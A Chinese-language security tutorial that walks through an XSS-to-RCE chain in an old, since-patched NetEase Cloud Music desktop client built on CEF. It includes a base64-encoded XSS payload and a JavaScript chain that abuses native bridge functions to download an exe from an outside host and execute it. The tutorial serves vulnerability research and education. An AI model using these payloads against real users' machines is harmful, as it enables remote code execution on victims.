当网易云音乐主程序打开时就会加载链接 orpheus://orpheus/pub/app.html,经过cef资源重定向处理后,加载orpheus.ntpk压缩包的/pub/app.html,也就是我们最为熟悉的主界面。
通过进程查看软件Process Hacker查看cloudmusic.exe进程,可以看到cloudmusic.exe主进程下面起了两个子进程。
这两个进程分别是render进程与GPU加速进程,GPU加速进程用于加速页面渲染,在网易云音乐的设置里可以禁用GPU加速。
// cef render进程
"D:\software\Netease\CloudMusic\cloudmusic.exe" --type=renderer --high-dpi-support=1 --lang=en-US --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --context-safety-implementation=-1 --uncaught-exception-stack-size=1048576 --no-sandbox --enable-pinch --enable-threaded-compositing --enable-delegated-renderer --enable-software-compositing --channel="5180.1.1167745776\650049420" /prefetch:673131151
?
// cef gpu加速渲染进程
"D:\software\Netease\CloudMusic\cloudmusic.exe" --type=gpu-process --channel="5180.0.520330526\2071578727" --high-dpi-support=1 --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --no-sandbox --supports-dual-gpus=false --gpu-driver-bug-workarounds=1,15 --gpu-vendor-id=0x15ad --gpu-device-id=0x0405 --gpu-driver-vendor="VMware, Inc." --gpu-driver-version=8.16.1.24 --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --no-sandbox /prefetch:822062411
在漏洞挖掘过程中可以关注下cef进程的启动参数,指不定有些好玩的启动参数,后边章节再讲这方面。
在拿到源码文件之后,能做的事情很多,感兴趣的可以自行从html、js里边发掘。这次的目的是为了给客户端弹个计算器,所以首先要达到一个目标,执行任意JavaScript,先从一个xss漏洞开始。
接下来就是常规的Web前端漏洞挖掘思路,在发掘过程中可以将html、js进行格式化,方便阅读代码。
原漏洞作者的思路是从html模板文件找到未过滤的模板变量,从而控制输出点达到xss。但在实际挖掘中,大部分html输出点都是不可控的,原作者找到的xss触发点在电台页面/pub/module/main/djradio/show/index.html的电台名称字段。
漏洞点修复前是${x.name},修复之后加上了escape进行编码过滤。
我们需要添加一个名称带有xss payload的电台,受害者通过搜索电台名称,在访问电台页时即可触发xss。
原漏洞作者提到了通过外置浏览器跳转到伪协议链接orpheus://native/start.html?action=migrate&src=D%3A%5CCloudMUsic&dest=D%3A%5CTest,从而唤起网易云音乐,但经过实际分析测试,只能唤起应用但不能跳到对应搜索页面。
那外置浏览器是如何调用网易云音乐伪协议,通过注册表可以查看windows系统中注册的所有伪协议,比如网易云音乐orpheus协议在注册表的地址为 HKEY_CLASSES_ROOT\orpheus\shell\open\command,键值为 “D:\software\Netease\CloudMusic\cloudmusic.exe” –webcmd=”%1″,%1作为变量对应的是完整的伪协议url,最终创建进程 D:\software\Netease\CloudMusic\cloudmusic.exe” –webcmd=”orpheus://native/start.html?action=migrate&src=D%3A%5CCloudMUsic&dest=D%3A%5CTest”
目前电台页面处无法复现漏洞,所以搬了原作者的xss效果图。
小目标达到了,接下来就是如何将xss漏洞的危害扩大,这里就要用到第一节讲到的知识点,应用程序会在render进程上下文中注册许多JavaScript扩展函数,用于应用程序与网页进行交互。
举个例子,缓存歌曲、缓存突破、下载歌曲、下载歌词文件这些功能都需要涉及文件操作,但网页由于安全策略限制是无法直接保存文件的,所以需要通过JavaScript调用native function来实现文件操作。
当然应用程序注册的JavaScript扩展函数不止这些,接下来进阶攻击就是寻找脆弱的JS扩展函数进行复用,以达到窃取数据、劫持登录凭证、读取任意文件、甚至控制对方计算机权限的目的。
现在复测没有xss漏洞可以用,那我们就假装有一个xss,通过拦截网易云音乐的请求修改响应,插入我们的JavaScript代码。此时祭出大杀器BurpSuite,通过网易云音乐自带的HTTP代理功能设置成127.0.0.1:8080
代理设置成功后,BurpSuite就能抓到网易云音乐的请求。这里用漏洞版本2.1.2.180086作为演示,前面提到过网易云音乐有很多html输出点都没过滤的,但是内容是不可控的。在旧版本网易云音乐中,可以通过BurpSuite拦截修改api请求的明文响应包插入xss payload,触发XSS。(新版本中api请求响应都加密了)
比如说在搜索歌词时,响应部分的lyrics字段会作为html内容插入到页面中,可以替换这部分的响应内容插入xss内容。
添加自动替换响应包规则,省得每次都要拦截修改响应。
随便搜一个查询条数少的关键词,切到歌词的搜索结果,加载替换响应内容后成功触发XSS。
通常cef程序很少会留有可以直接系统命令的扩展函数,所以常见的rce思路是下载可执行文件+运行文件以达到rce的效果。接下来就是通读代码,寻找任意保存文件的扩展函数。
网易云音乐的主要功能逻辑在core.js文件,第一步先将混淆的JavaScript代码美化,提高代码可读性,在代码量居多的情况下可以搜索相关关键词以定位函数,如save、保存、download、下载等,通过关键词定位找到一处可疑的功能代码。
根据代码上下文逻辑,构造出文件下载保存的JavaScript代码。
var byz=NEJ.P;
bD=byz("nej.cef");
bD.cFB("download.start", { id: "image_download", url: "https://www.baidu.com/img/bd_logo1.png", rel_path: "C:/users/public/1.png", pre_path: "", type: 1 });
JavaScript代码太长在xss里格式不好处理,所以将xss代码base64执行。
<img src=x onerror=eval(atob('dmFyIGJ5eiA9IE5FSi5QOwpiRCA9IGJ5eigibmVqLmNlZiIpOwpiRC5jRkIoImRvd25sb2FkLnN0YXJ0IiwgeyBpZDogImltYWdlX2Rvd25sb2FkIiwgdXJsOiAiaHR0cHM6Ly93d3cuYmFpZHUuY29tL2ltZy9iZF9sb2dvMS5wbmciLCByZWxfcGF0aDogIkM6L3VzZXJzL3B1YmxpYy8xLnBuZyIsIHByZV9wYXRoOiAiIiwgdHlwZTogMSB9KTs='))>
插入XSS代码触发,可以将任意远程文件保存到本地任意位置。poc触发成功后将百度logo图片保存到c:/users/public/1.png
当然在实际场景中可能会遇到长度限制,这里只是把payload写在一起作为演示,正常利用建议还是引用远程JS文件。
exe文件已经落地到文件系统中了,接下来就是如何触发下载后的exe文件。通读代码可以发现,网易云音乐基本是通过bD.cFB、bD.bX调用native函数,可以围绕着这些函数调用进行发掘,然后复用函数方法。
通过技巧找到了打开exe文件的方法,这个函数原意应该是用来打开文件夹的,文件/pub/module/main/offline/complete/index.html
根据代码上下文逻辑,构造出打开指定exe文件的JavaScript代码。
var byz=NEJ.P;
bD=byz("nej.cef");
bD.bX("os.shellOpen", "c:/windows/system32/calc.exe");
文件下载、打开exe文件都具备了,接下来构造完整漏洞利用代码。
var byz=NEJ.P;
bD=byz("nej.cef");
bD.cFB("download.start", { id: "image_download", url: "https://xxx.com/calc.jpg", rel_path: "c:/users/public/1.exe", pre_path: "", type: 1 });
setTimeout(function(){bD.bX("os.shellOpen", "c:/users/public/1.exe")}, 5000);
完整利用流程:插入xss payload -> 诱导别人触发xss -> 下载保存exe文件 -> 打开执行exe文件
在网易云音乐最新版本中不仅修复了xss漏洞、增加CSP安全策略,还修复了文件下载、打开文件等涉及文件操作的许多函数,使攻击成本加大,熟悉逆向的可以分析下判断逻辑是否能够绕过。
本章节涉及了cef资源加载、目录结构分析、进程启动分析、scheme协议注册、XSS漏洞挖掘、native交互漏洞挖掘等知识点,完成一个XSS to RCE漏洞的挖掘才能算是真正的入门。当Web安全人员去真正发掘这方面漏洞时,会发现嵌入式浏览器漏洞挖掘也没那么难以触及,主要是通读代码跟复现代码逻辑会比较耗时间,感兴趣的朋友可以尝试下挖掘通用点的桌面应用~
漏洞原作者:evi1m0 https://www.chinabaiker.com/thread-2897-1-1.html https://blog.csdn.net/csdnyonghu123/article/details/92808278
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